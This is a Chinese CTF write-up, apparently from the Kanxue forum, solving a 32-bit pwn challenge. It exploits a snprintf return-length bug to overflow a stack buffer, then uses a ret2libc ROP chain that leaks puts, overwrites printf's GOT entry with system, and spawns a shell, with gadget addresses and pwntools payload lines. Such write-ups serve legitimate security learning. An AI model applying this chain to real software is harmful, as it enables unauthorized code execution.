拿到题checksec,ida
是只开启了NX保护的。(这样的题目一般是ret2libc)
观察题目,发现第33行的地方有溢出点,通过read函数可以向s里面写nbytes个字节,同时在第21行nbytes又可以被name和occupation这个两个变量的大小所影响,因为snprintf函数是有这个漏洞的:
「snprintf的返回值是欲写入的字符串长度,而不是实际写入的字符串长度。」如:
char test[8]; int ret = snprintf(test,5,"1234567890"); printf("%d | %s\n",ret,test);
运行结果为
10 | 1234
10 -> 欲写入"1234567890"
实写入"1234\0" -> 5
所以nbyte的长度取决于
"Our %s is a noble %s. He is come from north and well change out would.",name,occupation
而name,occupation的长度又取决于我们的输入。
由于s的栈空间大小为0x111,因此我们控制name,occupation的长度远超出0x111,则可实现溢出。
溢出后考虑getshell的方式。
通过调试发现,溢出一次后并不能返回main函数,因此我们只有一次构造溢出的机会,这时考虑构造rop攻击。
ROPgadget 工具查询 gadget:
这里我们选择的gadget是:pop ebp ret 和 pop esi ; pop edi ; pop ebp ; ret,利用他们来保存栈平衡。
思路:
1.构造完整payload,泄露puts_addr及修改栈中函数调用;
2.根据puts_addr,确定libc版本;
3.根据libc版本得到puts_offset,通过puts_offset、system_offset计算libc_base和system_addr;
4.传入system_addr与"/bin/sh"到修改后的栈中;
5.getshell。
根据题意,我们需要4个payload。
payload1 = 'a' * 0xff
payload2 = 'b' * 0xff
payload3 = Y
payload4 构造思路:
1.首先执行puts函数将puts的真正地址打印出来;
2.接着执行read函数将system的地址写到printf的got表中;
3.再接着执行read函数将/bin/sh参数读入bss段中;
4.最后再执行printf函数也就是相对于执行了system(/bin/sh)。
a. puts_plt
b. pop ebp ; ret 0x0804881b
c. puts_got
利用pwntools
可得puts_plt地址,ida查看也是ok的
a. read_plt
b. pop esi ; pop edi ; pop ebp ; ret
c. printf_got
修改01的exp可得
同样ida
a. read_plt
b. pop esi ; pop edi ; pop ebp ; ret
c. bss
这里还是写码结合ida验证
.bss段:BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。
a. printf_plt
b. bss
如上图:
a. puts_plt 0x8048480 b. pop ebp ; ret 0x804881b c. puts_got 0x804a020 d. read_plt 0x8048440 e. pop esi ; pop edi ; pop ebp ; ret 0x8048819 f. printf_got 0x804a014 g. printf_plt 0x8048450 h. bss 0x804a040
payload4 = 'a' * 0x111 + 'aaaa' + p32(puts_plt) + p32(p_ebp_ret) + p32(puts_got)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(printf_got) + p32(4)
payload4 += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss) +p32(8)
payload4 += p32(printf_plt) + p32(0xdeadbeef) + p32(bss)
得到puts_addr
puts函数真正地址后三位是140,用libcsearch find查找
dump可以输出libc版本中的一些函数偏移
libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
添加offset及计算,最后send
get shell~
[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com
最后于 5天前 被guyioo编辑 ,原因: